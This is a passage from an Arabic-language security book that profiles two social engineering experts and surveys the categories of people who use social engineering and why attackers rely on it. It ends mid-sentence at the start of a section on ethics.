‫‪ Christopher James Hadnagy‬ھو ﺧﺑﯾر ﻣن اﻟﻌﺻر اﻟﺣدﯾث ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ واﻟﺗﻔﺎﻋل اﻹﻧﺳﺎﻧﻲ‪ ،‬ﻣﻣﺎ ﯾدل ﻋﻠﻰ ﻓﮭﻣﮫ اﻟدﻗﯾﻖ‬
‫ﻟﺗﻘﻧﯾﺎت ﻣﺛل ‪ microexpressions‬واﻟﻧﻔوذ وﺑﻧﺎء ﻋﻼﻗﺔ‪ .‬ھو اﻟﻣطور اﻟرﺋﯾﺳﻲ ﻟﻣوﻗﻊ ‪ http://www.social-engineer.com‬وﻣؤﻟف‬
‫ﻛﺗﺎب" اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ "The Art of Human Hacking" :‬وﻛﺗﺎﺑﮫ اﻟﺛﺎﻧﻲ‪ ،‬اﻟذي أﺻدره ﻓﻲ ﻓﺑراﯾر ‪ 2014‬ذات اﻟﻌﻧوان‬
‫" ‪ " Unmasking the Social Engineer: The Human Side of Security‬واﻟذي ﻗﻣن ﺑﺗرﺟﻣﺔ ﺟﻣﯾﻊ ﻣﺣﺗوﯾﺎﺗﮫ ﻓﻲ ھذا اﻟﻛﺗﺎب‬
‫اﻟذي اﻣﺎﻣك‪ .‬أﯾﺿﺎ ﯾﻘود ﻛرﯾس ﻓرﯾﻖ ﻣن اﻟﻧﺧﺑﺔ اﻟﻣﺣﺗرﻓﯾن ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ ﺷرﻛﺗﮫ ‪ .Social-Engineer‬ﺣﯾث ﯾوﻓر ﻣﺟﻣوﻋﺔ ﻣن‬
‫اﻟﺧدﻣﺎت ﻛﺎﻻﺧﺗﺑﺎر واﻟﺗدرﯾب ﻋﻠﻰ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬دراﺳﺔ ﺗﻠك اﻟﺗﻲ ﺗﺳﺗﺧدم اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ اﻟﺣﯾﺎة اﻟﯾوﻣﯾﺔ‪ .‬ﻛرﯾس ھو ﺑﻼ ﺷك‬
‫واﺣدة ﻣن "اﻷﺧﯾﺎر"‪ ،‬وذﻟك ﺑﺎﺳﺗﺧدام ﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻣﺳﺎﻋدة اﻟﺷرﻛﺎت ﻋﻠﻰ اﻟﺗﺄﻣﯾن‪ .‬أﯾﺿﺎ ﺻﺎﺣب ﻣوﻗﻊ‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪791‬‬

‫‪http://www.social-engineer.org‬‬
‫‪Chris Nickerson‬‬
‫ﻛرﯾس ﻧﯾﻛرﺳون واﺣد ﻣن أﺷﮭر اﻓراد ﻓرﯾﻖ ‪ ،TruTV’s Tiger‬ﺣﯾث ﻗﺎم ﻛرﯾس ھو وزﻣﻼﺋﮫ ﺑﻌرض ﻣﺣﺎوﻟﺔ ﻻﺧﺗراق أﻣن اﻟﺷرﻛﺎت‪.‬‬
‫ﺣﯾث ﻛﺎن اﻟﮭدف اﻟﻧﮭﺎﺋﻲ ﻣن اﻟﻌرض إظﮭﺎر ﻛﯾف ﯾﻣﻛن اﺳﺗﻐﻼل ﻧﻘﺎط اﻟﺿﻌف ﻓﻲ اﻷﻣن اﻹﻟﻛﺗروﻧﻲ واﻟﺑدﻧﻲ واﻻﺧﺗراق ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف‪.‬‬
‫ھو طﻠﯾﻌﺔ ﻓﻲ ﻣﺟﺎل أﻣن اﻟﻣﻌﻠوﻣﺎت‪ ،‬ﻓﻲ وﻗت ﻛﺗﺎﺑﺔ ھذا اﻟﺗﻘرﯾر ھو ﯾﻘود اﻟﻔرﯾﻖ اﻷﻣﻧﻲ ﻓﻲ ﻻرﯾس‪ ،‬وﯾﻘدم اﻟﻌدﯾد ﻣن اﻟﺧدﻣﺎت اﻟﻣﮭﻧﯾﺔ ﻣن‬
‫اﺧﺗﺑﺎر اﻻﺧﺗراق واﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﺧﻠﻖ ﺳﯾﺎﺳﺔ واﺧﺗﺑﺎر اﻻﻣﺗﺛﺎل‪.‬‬

‫ﻓﺋﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ‪Categories Of Social Engineers‬‬

‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وأوﻟﺋك اﻟذﯾن ﯾﺳﺗﺧدﻣوﻧﮭﺎ ﯾﻣﻛن ﺗﻘﺳﯾﻣﮭم اﻟﻰ اﻟﻌدﯾد ﻣن اﻟﻔﺋﺎت‪ .‬ﺣﯾث ﻧﺑدأ ﺑﻣﺟﻣوﻋﺔ ﻣن اﻟﺟواﺳﯾس واﻟﻣﺗﺳﻠﻠﯾن ﺣﺗﻰ‬
‫ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت واﻷﺷﺧﺎص اﻟﻌﺎدﯾﯾن‪.‬‬
‫‪ -1‬اﻟﻘراﺻﻧﺔ )‪ :(hackers‬اﻟﻘراﺻﻧﺔ ﯾﺳﺗﻔﺎدون ﻣن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣرات ﻋدﯾدة ﻷن ﻋﺎﻣل اﻟﺿﻌف اﻟﺑﺷري ھو أﺳﮭل ﺑﻛﺛﯾر ﻓﻲ‬
‫اﻻﺧﺗراق ﻣن ﻧﻘﺎط ﺿﻌف اﻟﺷﺑﻛﺔ‪ .‬ﻓﻲ ﻣرات ﻋدﯾدة ﯾﻔوز ﻓﯾﮭﺎ اﻟﻘراﺻﻧﺔ إذا ﻛﺎن اﻻﻣر ﯾﺗﻌﻠﻖ ﺑﻣﻌرﻛﺔ ﯾﺧوﺿﮭﺎ ﺿد ﻣﮭﻧدﺳﻲ‬
‫وﻣدﯾري اﻟﺷﺑﻛﺎت وذﻟك ﻷﻧﮭﺎ ﻟﯾﺳت ﻣﺣدودة ﺑﺳﺑب اﻟوﻗت أو ﺿﻌف وﺟود اﻟﺣﺎﻓز‪ .‬ﻓﻲ ﺣﯾن أن ﻣدﯾر ‪ IT‬اﻟﻌﺎدي ﯾذھب اﻟﻰ اﻟﻣﻧزل‬
‫ﻓﻲ ‪ 5:00‬أو ‪ ،6:00‬ﻓﺈن اﻟﻘراﺻﻧﺔ ﯾﻌﻣﻠون ‪ 24‬ﺳﺎﻋﺔ ﯾوﻣﯾﺎ ﻹﻧﺟﺎز ھدﻓﮭم‪ .‬ﺑﻌد أن ﯾﻛوﻧوا ﻗد أﻣﺿوا اﻟوﻗت وﺑذل اﻟﻌﻧﺎﯾﺔ اﻟواﺟﺑﺔ‬
‫ﻟﻠﺑﺣث ﻓﻲ ﻛل ﺟﺎﻧب ﻣن ﺟواﻧب اﻟﮭدف ﺣﺗﻰ ﯾﺗﻣﻛﻧوا ﻣن ﺷن ھﺟوم ﺷﺎﻣل ﻋﻠﻰ اﻟﺑﻧﯾﺔ اﻟﺗﺣﺗﯾﺔ اﻟﺑﺷرﯾﺔ واﻟﺗﻲ ﯾﻣﻛﻧﮭﺎ أن ﺗدﻣر ﺷرﻛﺔ‬
‫ﻓﻲ ﻏﺿون دﻗﺎﺋﻖ‪ .‬واﻟﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ‪ ،‬ﻛﻠﻣﺔ اﻟﻣرور‪ ،‬ﺣﺳﺎﺑﺎت اﻟﻣﺳﺗﺧدﻣﯾن ﻋن ﺑﻌد واﻟﻣزﯾد ﻣن اﻟﻘرﺻﻧﺔ ﺛم‬
‫اﺳﺗﺧدام ھذه اﻟﻣﻌﻠوﻣﺎت ﻟﺗوﺟﯾﮫ ﺿرﺑﺔ ﻋﻠﻰ اﻟﮭدف‪.‬‬
‫‪ -2‬ﻣﺧﺗﺑري اﻻﺧﺗراق )‪ :(Penetration Testers‬ﯾطﻠﻖ ﻋﻠﯾﮫ أﯾﺿﺎ ‪ Pen test‬وھو اﻟﺷﺧص اﻟذي ﯾﺧﺗﺑر ﻣواطن اﻟﺿﻌف أو‬
‫اﻟوﺻول ﻏﯾر اﻟﻣﺻرح ﺑﮫ إﻟﻰ اﻷﻧظﻣﺔ‪ .‬ﺗﺗراوح اﻷﻧظﻣﺔ ﻣن ﺷﺑﻛﺎت اﻟﻛﻣﺑﯾوﺗر ﻟﻠوﺻول اﻟﻣﺎدي إﻟﻰ اﻟﻣواﻗﻊ اﻟﺑدﻧﯾﺔ‪ .‬ﻣﺧﺗﺑر‬
‫اﻻﺧﺗراق ﯾﻣﻛﻧﮫ اﺳﺗﺧدام اﻟﻌدﯾد ﻣن ﻋﻧﺎﺻر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻠوﺻول إﻟﻰ اﻟﻧظم‪ .‬ﯾﻣﻛﻧﮭم اﻻﺳﺗﻔﺎدة ﻣن اﻟﺧداع )‪ ،(phishing‬أو‬
‫ﺗﻘﻧﯾﺎت أﺧرى ﻣﺛل اﻻﺳﺗﻧﺑﺎط )‪ ،(elicitation‬ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت ﻣن اﻟﻣوظﻔﯾن ﻣﺛل اﻟﺣﺻول ﻋﻠﻰ ﻛﻠﻣﺎت اﻟﺳر‪ ،‬ودﺧول‬
‫اﻟﻣﺑﺎﻧﻲ‪ ،‬أو اﻟوﺻول إﻟﻰ اﻷﻧظﻣﺔ اﻷﺧرى‪.‬‬
‫‪ -3‬اﻟﺟواﺳﯾس أو اﻟﺗﺟﺳس )‪ :(Spies or Espionage‬اﻟﺟواﺳﯾس ﻣن ﺟﻣﯾﻊ أﻧﺣﺎء اﻟﻌﺎﻟم ﺗدرس أﺳﺎﻟﯾب ﻣﺧﺗﻠﻔﺔ ﻣن "اﻟﺧداع" ﻟﺧداع‬
‫ﺿﺣﺎﯾﺎھﺎ ﺑﺎﻻﻋﺗﻘﺎد ﺑﺄﻧﮭم ﺷﺧص أو ﺷﻲء أﺧر‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﯾﻘوﻣون ﺑدراﺳﺔ ﻓن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻓﻲ ﻣرات ﻋدﯾدة ﯾﻘوم‬
‫اﻟﺟواﺳﯾس ﺑﺑﻧﺎء اﻟﻣﺻداﻗﯾﺔ ﻣن ﺧﻼل اﻟﻣﻌرﻓﺔ اﻟﻘﻠﯾﻠﺔ أو ﺣﺗﻰ اﻟﻛﺛﯾر ﻋن اﻟﻌﻣل أو اﻟﺣﻛوﻣﺔ اﻟﺗﻲ ﯾﺣﺎوﻟون اﻟﺗﺟﺳس ﻋﻠﯾﮭﺎ‪.‬‬
‫‪ -4‬ﻟﺻوص اﻟﮭوﯾﺔ )‪ :(Identity Thieves‬ﺳرﻗﺔ اﻟﮭوﯾﺔ ھﻲ اﺳﺗﺧدام اﻟﻣﻌﻠوﻣﺎت ﻣﺛل أﺳﻣﺎء اﻻﺷﺧﺎص‪ ،‬أرﻗﺎم اﻟﺣﺳﺎﺑﺎت اﻟﻣﺻرﻓﯾﺔ‬
‫وﻋﻧﺎوﯾن وﺗوارﯾﺦ اﻟﻣﯾﻼد‪ ،‬ورﻗم اﻟﺿﻣﺎن اﻻﺟﺗﻣﺎﻋﻲ دون ﻋﻠم أﺻﺣﺎﺑﮭﺎ‪ .‬ھذا ﯾﻣﻛن أن ﯾﺗراوح ﻣن وﺿﻊ ﻣوﺣد ﻻﻧﺗﺣﺎل ﺷﺧص ﻣﺎ‬
‫أو ﻋﻣﻠﯾﺔ اﺣﺗﯾﺎل ﻣﺗﻘﻧﺔ ﺗﺷﻣل ‪ DNS Poisoning‬وﺣﯾل اﻟﺧداع )‪.(phishing scams‬‬
‫‪ -5‬اﻟﻣوظﻔﯾن اﻟﺳﺎﺧطﯾن )‪ :(Disgruntled Employees‬ھﻧﺎك اﻟﻌدﯾد ﻣن اﻷﺳﺑﺎب اﻟﺗﻲ ﺗؤدى اﻟﻰ ظﮭور ھؤﻻء اﻟﻣوظﻔﯾن ﻓﻲ ﻣﻛﺎن‬
‫اﻟﻌﻣل اﻟذﯾن أﺻﺑﺣوا ﺳﺎﺧطﯾن‪ .‬ﻋﺎدة ﯾﺗم ﺗﻘﺳﯾم اﻷﺳﺑﺎب اﻷﺳﺎﺳﯾﺔ اﻟﺗﻲ ﺗﺟﻌل اﻟﻣوظف ﯾﺻﺑﺢ ﺳﺎﺧطﺎ ﻛﺎﻟﻌﻣل ﻓوق طﺎﻗﺗﮫ‪ ،‬ﯾﺗﻘﺎﺿﻰ‬
‫أﺟورا ﺻﻐﯾره‪ ،‬ﻏﯾر ﻣﻘدر‪ ،‬أو ﺗﻔوﯾت ﻓرﺻﺔ اﻟﺣﺻول ﻋﻠﻰ اﻟﺗرﻗﯾﺔ‪ .‬ﺑﻣﺟرد أن ﯾﺻﺑﺢ اﻟﻣوظف ﺳﺎﺧطﺎ‪ ،‬ﻓﺈﻧﮭم ﻏﺎﻟﺑﺎ ﻣﺎ ﯾدﺧﻠون ﻓﻲ‬
‫ﻋﻼﻗﺎت ﻋداﺋﯾﺔ ﻣﻊ ﺻﺎﺣب اﻟﻌﻣل‪ .‬ھذا وﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻛون اﻟوﺿﻊ ﻣن ﺟﺎﻧب واﺣد‪ ،‬ﻛﻣﺎ ﺳﯾﺣﺎول اﻟﻣوظف ﻋﺎدة إﺧﻔﺎء ﻣﺳﺗوى اﻻﺳﺗﯾﺎء‬
‫ﻟﻌدم وﺿﻊ ﻋﻣﻠﮭم ﻓﻲ ﺧطر‪.‬‬
‫‪ -6‬ﺳﻣﺎﺳرة اﻟﻣﻌﻠوﻣﺎت )‪ :(Information Brokers‬ﺳﻣﺎﺳرة اﻟﻣﻌﻠوﻣﺎت )اﻟﺑﯾﺎﻧﺎت( ﯾﻘوﻣون ﺑﺟﻣﻊ اﻟﺑﯾﺎﻧﺎت وﺗﻘدﯾم ﺧدﻣﺎت اﻟﺗﻧﻘﯾب‬
‫ﻋن اﻟﺑﯾﺎﻧﺎت ﻟﻠﻣﻧظﻣﺎت اﻟﻣﺧﺗﻠﻔﺔ ﻣﺛل ﻣﻛﺗب اﻟﺗﺣﻘﯾﻘﺎت اﻟﻔﯾدراﻟﻲ‪ ،‬ﺧدﻣﺎت ﻣراﻗﺑﺔ اﻻﺋﺗﻣﺎن‪ ،‬وزارة اﻟدﻓﺎع‪ .‬ھذه اﻟﺷرﻛﺎت ھﻲ ذات‬
‫ﻗﯾﻣﺔ ﻋﺎﻟﯾﺔ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن ﻷﻧﮭﺎ ﺗﺣﺗوي ﻋﻠﻰ ﻛﻣﯾﺎت ھﺎﺋﻠﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻟﻣزﯾد ﻣن رﻓﻊ أو‬
‫دﻋم أﻧﺷطﺔ ‪ SE‬اﻟﺧﺎص ﺑك‪ .‬ﺑﺳﺑب اﻟﻠواﺋﺢ واﻟﻘواﻧﯾن اﻟﻔﯾدراﻟﯾﺔ ﻓﺎن اﻟﻛﺛﯾر ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ اﻟﺗﻲ ﯾﺗم ﺟﻣﻌﮭﺎ ﻟدﯾﻧﺎ ﻣن ﻗﺑل‬
‫اﻟوﻛﺎﻻت اﻟﺣﻛوﻣﯾﺔ‪ ،‬ﻣﺛل ‪ ،DMV‬ﯾﺗم ﺗﺧزﯾﻧﮭﺎ أو أدارة ھذه اﻟﻣﻌﻠوﻣﺎت ﻣن ﻗﺑل ﺷرﻛﺎت اﻟوﺳﺎطﺔ‪ ،‬ﻣﺛل ‪ .ChoicePoint‬أﻣﺛﻠﮫ ﻋﻠﻰ‬
‫ﺷرﻛﺎت ﺳﻣﺳرة اﻟﻣﻌﻠوﻣﺎت ﻛﺎﻻﺗﻰ )‪-Discreet Research-LexisNexis-DOCUSEARCH–KnowX–ChoicePoint‬‬
‫‪ MasterFiles‬وﻏﯾرھﺎ ﻣن اﻟﺷرﻛﺎت اﻷﺧرى(‬
‫‪ -7‬اﻟﻔﻧﺎﻧﯾن اﻟﻣﺣﺗﺎﻟﯾن )‪ :(Scam Artists‬ﻛﺎن ﻣﻔﮭوم "اﻟﻔﻧﺎن اﻟﻣﺣﺗﺎل" أو "اﻟرﺟل اﻟﻣﺧﺎدع" ﻣﻔﮭوم ﻣﺳﺗﺧدم ﻟﻔﺗرة طوﯾﻠﺔ ﻟﻠﻐﺎﯾﺔ‪.‬‬
‫اﻟﺳﺑب ﻓﻲ ذﻟك ھﻲ‪ ،‬أﻧﮭﺎ ﺗﻌﻣل ﺣﺗﻰ اﻻن‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪792‬‬

‫‪ -8‬ﺟﮭﺎت اﻟﺗوظﯾف اﻟﺗﻧﻔﯾذﯾﺔ )‪ Executive Recruiters :(Executive Recruiters‬أو ‪ ،Head Hunters‬ﻛﻣﺎ ﯾطﻠﻖ ﻋﻠﯾﮭﺎ‪،‬‬
‫وھو اﻟﺗﻣﺎس اﻟﻧﺎس ﻟﺗوظﯾﻔﮭم ﻓﻲ اﻟﺷرﻛﺎت‪ .‬أﻧﮭﺎ ﺗﺳﺗﺧدم ﻣوارد أو أدوات ﻣﺧﺗﻠﻔﺔ ﻟﻠﻌﺛور ﻋﻠﻰ اﻷﺷﺧﺎص اﻟﻣﻧﺎﺳﺑﯾن ﻟﻣﺗطﻠﺑﺎت اﻟوظﯾﻔﺔ‬
‫اﻟﺗﻲ ﯾﺿﻌﮭﺎ ﺻﺎﺣب اﻟﻌﻣل‪ .‬وﻋﺎدة ﻣﺎ ﯾﺗم ﺟﻣﻊ اﻟﺑﯾﺎﻧﺎت واﻟﺗطﻠﻊ ﻣن ﺧﻼل اﻟﺳﯾرة اﻟذاﺗﯾﺔ ﻋﻠﻰ ﻣواﻗﻊ ﻋﻠﻰ اﻻﻧﺗرﻧت ﻟﻠﻌﺛور ﻋﻠﻰ ھذه‬
‫اﻟﻣﻌﻠوﻣﺎت‪ .‬اﻟﺑﺎﺣﺛﯾن ﻋن اﻟﻣوظﻔﯾن ﯾﻌﻣﻠون ﻟﺣﺳﺎب ﺷرﻛﺔ ﻣﻘﺎﺑل ﻋﻣوﻟﺔ ﻣن اﻟراﺗب اﻟﻣﺣﺗﻣﻠﺔ اﻟﺧﺎص ﺑك أو ﯾﻣﻛﻧك اﺳﺗﺋﺟﺎر‬
‫‪ headhunter‬ﻣﺑﺎﺷرة ﻟﻘﺎء رﺳوم‪ .‬اﻟﮭدف اﻟرﺋﯾﺳﻲ ﻠﻠ ‪ headhunter‬ھو أن ﯾﺟﻌﻠك أن ﺗﺻﺑﺢ ﻋﻣﯾل‪ .‬ﻓﮭو ﺳوف ﯾﻔﻌل أي ﺷﻲء‬
‫ﺗﻘرﯾﺑﺎ ﻟﺟﻌل ھذا ﯾﺣدث‪ .‬ﻣﺛﻼ ان ﯾﺻﺑﺢ ﺻدﯾﻘك‪ ،‬اﻻﺳﺗﻣﺎع إﻟﻰ ﻣﺷﺎﻛﻠك أو ﯾﻘوم ﺑوﻋدك أن ﺳوف ﯾﺟد ﻟك وظﯾﻔﺔ أﺣﻼﻣك‪.‬‬
‫‪ -9‬ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت )‪ :(Sales People‬ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت ھم ﻓﻲ ﻛل ﻣﻛﺎن ﺣﯾث أن ﯾﻣﻛن اﻟﻘول ﺑﺎن اﻟﺟﻣﯾﻊ ھم ﺑﺎﺋﻌﯾن‪ .‬ھؤﻻء اﻟﻧﺎس‬
‫ﻟدﯾﮭم اﻟﻣﻧﺗﺞ أو اﻟﺧدﻣﺔ اﻟﺗﻲ ﯾرﯾد ﻣﻧك أن ﺗﺷﺗرﯾﮭﺎ‪.‬‬
‫‪ -10‬اﻟﺣﻛوﻣﺎت )‪ :(Governments‬اﻟﺣﻛوﻣﺎت ﺗوظف اﻟﻌدﯾد ﻣن أﺳﺎﻟﯾب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻠﻰ أﺳﺎس ﻣﻧﺗظم ﻣن اﻟﺟﮭود راﻣﯾﺔ إﻟﻰ‬
‫اﻟﺗﺄﺛﯾر ﻓﻲ اﻟرأي اﻟﻌﺎم ﻟدﻋم اﻹﺟراءات اﻟﺣﻛوﻣﯾﺔ‪ .‬ﯾﻣﻛن أن ﯾﺗم ھذا ﻓﻲ أﺳﺎس ﻣﻧظم ﻣن ﻗﺑل اﻟﺳﯾﺎﺳﯾﯾن أو ﻣن ﻗﺑل اﻟوﻛﺎﻻت‬
‫اﻟﺣﻛوﻣﯾﺔ‪ .‬ﻛﺛﯾرا ﻣﺎ ﺗﻧﺷﺄ ﻋﻣﻠﯾﺎت اﻟﺣرب اﻟﻧﻔﺳﯾﺔ ﻣن ﻗﺑل اﻟﺣﻛوﻣﺎت ﻟﺗﻛﺗﯾﻛﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫‪ -11‬ﺣﯾﺎة اﻻﺷﺧﺎص اﻟﯾوﻣﯾﺔ )‪ :(Everyday People‬ﺗﺳﺗﺧدم أﺳﺎﻟﯾب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن ﻗﺑل اﻟﻌدﯾد ﻣن اﻟﻧﺎس ﻋﻠﻰ أﺳﺎس ﻣﻧﺗظم‪.‬‬
‫وﯾﺗم ذﻟك ﻏﺎﻟﺑﺎ دون ﻧﯾﺔ ﻣﺑﺎﺷره ﻣن ﻗﺑل اﻟﺷﺧص ﻻﺳﺗﺧدام ھذه اﻟطرﯾﻘﺔ؛ وﺗﺳﺗﺧدم ﺑﺑﺳﺎطﺔ ﻷﻧﮭﺎ ﻓﻌﺎﻟﺔ ﺟدا‪ .‬ﻣﺛﺎل اﻷطﻔﺎل‪ ،‬ﺣﯾث‬
‫ﯾﺳﺗﺧدم اﻷطﻔﺎل أﺳﺎﻟﯾب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ وﻗت ﻣﺑﻛر ﻣن اﻟﺣﯾﺎة‪ .‬ﺣﯾث ﯾﺳﺗﺧدﻣوا وﺳﺎﺋل ﻣﺗﻌددة‪ ،‬وﺧﺎﺻﺔ ﻣﻊ اﻵﺑﺎء اﻟذﯾن‬
‫ﯾرﻏﺑون ﻓﻲ ﺟﻌل أطﻔﺎﻟﮭم ﺳﻌداء‪ .‬ھذا ﯾﻣﻛن أن ﯾﻛون ﻣن ﺧﻼل اﻷﺳﺎﻟﯾب اﻟﻔﻌﺎﻟﺔ ﻣﺛل اﻟﻌﺑوس أو اﻟﻛﺂﺑﺔ‪ ،‬أو ﻣن ﺧﻼل اﻟوﺳﺎﺋل‬
‫اﻟﻧﺷطﺔ ﻣﺛل اﻻﺷﺎرة اﻟﻰ ﺣﺎﻟﺗﮭﺎ اﻟﻌﺎﻣﺔ اﻟﺗﻌﺎﺳﺔ ﺑﺳﺑب ﺑﻌض اﻟﺷﻲء أو اﻟﻌﻣل اﻟﺗﻲ ﺗﺟﻌل واﻟدﯾﮭم ﯾﺗﺧذون ﺑﻌض اﻟﻘرارات‪.‬‬

‫ﻟﻣﺎذا ﯾﺳﺗﺧدم اﻟﻣﮭﺎﺟﻣون اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬

‫‪ -1‬ﻷﻧﮫ ﻻ ﯾوﺟد ﺗﺻﺣﯾﺢ‪/‬ﺣل ﻟﻐﺑﺎء اﻹﻧﺳﺎن‪.‬‬

‫‪ -2‬اﻟﻧﺎس ھﻲ أﻛﺑر ﺛﻐرة أﻣﻧﯾﺔ ﻓﻲ أي ﺷﺑﻛﺔ‬
‫‪ -3‬اﻟطرﯾﻖ اﻷﻗل ﻣﻘﺎوﻣﺔ‬
‫ﺣﯾث أن اﻟﻘراﺻﻧﺔ ﯾﻘﺿون ﺑﺎﻟﺳﺎﻋﺎت أو اﻷﺳﺎﺑﯾﻊ أو اﻷﺷﮭر ﯾﺣﺎوﻟون اﺳﺗﺧدام طرﯾﻘﺔ اﻟﻘوة اﻟﻐﺎﺷﻣﺔ )‪ (brute force‬ﻟﻔك ﺗﺷﻔﯾر ﻛﻠﻣﺔ ﻣرور‪.‬‬
‫ﻣﺛﻼ ﻋﻧد اﻟﻘﯾﺎم ﺑﻣﻛﺎﻟﻣﺔ ھﺎﺗﻔﯾﺔ واﺳﺗﺧدام اﻷﺳﺋﻠﺔ اﻟﺻﺣﯾﺣﺔ ﻓﯾﻣﻛن أن ﺗﺣﺻل ﻋﻠﻰ ﻧﻔس ﻛﻠﻣﺔ اﻟﻣرور أو أﻛﺛر ﻓﻲ ﺑﺿﻊ دﻗﺎﺋﻖ‪ .‬ﻣن ﺧﻼل‬
‫اﻻﺳﺗﻔﺎدة ﻣن اﻟﺑﺣث ﻓﻲ اﻟﻘﻣﺎﻣﺔ )‪ ،(dumpster diving‬ﻏرﺑﻠﺔ أﻛﯾﺎس اﻟﻘﻣﺎﻣﺔ‪ ،‬اﻟﺗﺣدث إﻟﻰ اﻟﻣوظﻔﯾن اﻟﺳﺎﺧطﯾن أو ﺣﺗﻰ اﻟﻘﯾﺎم ﺑﺑﻌض‬
‫اﻷﻋﻣﺎل اﻟﺗﺟﺎرﯾﺔ ﻣﺛل ﺷﺧص اﻟﺗﺳﻠﯾم ﺣﯾث ﻛل ھذا ﯾﻣﻛن أن ﯾﻘودك إﻟﻰ اﻟوﺻول إﻟﻰ اﻟﺷﺑﻛﺔ ﺑﺎﻟﻛﺎﻣل‪ .‬ﺑﺎﺋﻌﻲ اﻟﺑراﻣﺞ ﯾﺣﺻﻠون ﻋﻠﻰ اﻟﻣزﯾد‬
‫واﻟﻣزﯾد ﻣن اﻻﻣن أﻛﺛر أﻣﻧﺎ وﻣﻧﺗﺟﺎﺗﮭم ﺗﺻﺑﺢ أﻛﺛر ﺻﻌوﺑﺔ ﺿد ان ﯾﺗم ﻛﺳرھﺎ )‪ (Cracked‬وھﻧﺎ ﯾﺻﺑﺢ دور اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻛﺑﯾرا‪ .‬ﻓﮭم‬
‫ﻣﺎ ﯾﻣﻛﻧﮫ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻘﯾﺎم ﺑﮫ‪ ،‬وﻛﯾﻔﯾﺔ اﻟﻘﯾﺎم ﺑﮫ وﻣﺎ اﻟﻣﻧﮭﺟﯾﺔ اﻟﺗﻲ ﻗد ﺗﺳﺗﺧدم ﻟﺗﺳﺎﻋدك ﻋﻠﻰ وﺿﻊ ﺧطﺔ ﻛﯾﻔﯾﺔ ﻟﻠﺣﻣﺎﯾﺔ ﻣن ﻣﺛل ھذه‬
‫اﻟﮭﺟﻣﺎت‪.‬‬

‫اﻷھداف اﻟﻧﻣوذﺟﯾﺔ اﻟﺗﻲ ﺗﻌﻣل ﻋﻠﯾﮭﺎ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬

‫أھداف اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺧﺑﯾﺛﺔ ﯾﻣﻛن ﻣﻘﺎرﻧﺔ ﺑﺄھداف اﻻﺷﺧﺎص اﻟﻌﺎدﯾﯾن ﻣن ﺧﻼل ﻋﻣﻠﮭم‪.‬‬
‫اﻷﺧﻼق )‪(Ethics‬‬
‫اﻷﺧﻼق ھﻲ ﻣﻌﺎﯾﯾر ﻗﺎﻋدة ﻣﺎ ھو ﺟﯾد وﺳﻲء داﺧل اﻟﻣﺟﺗﻣﻊ‪ .‬إذا ﻛﺎن اﻟﻣﺟﺗﻣﻊ ﻛﻛل‪ ،‬ﯾﺷﻌر ﺑﻘوة ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ أن ھذا اﻟﺳﻠوك ﺳﯾﺊ‪ ،‬ﻓﺎﻧﮫ ﯾﺗم‬
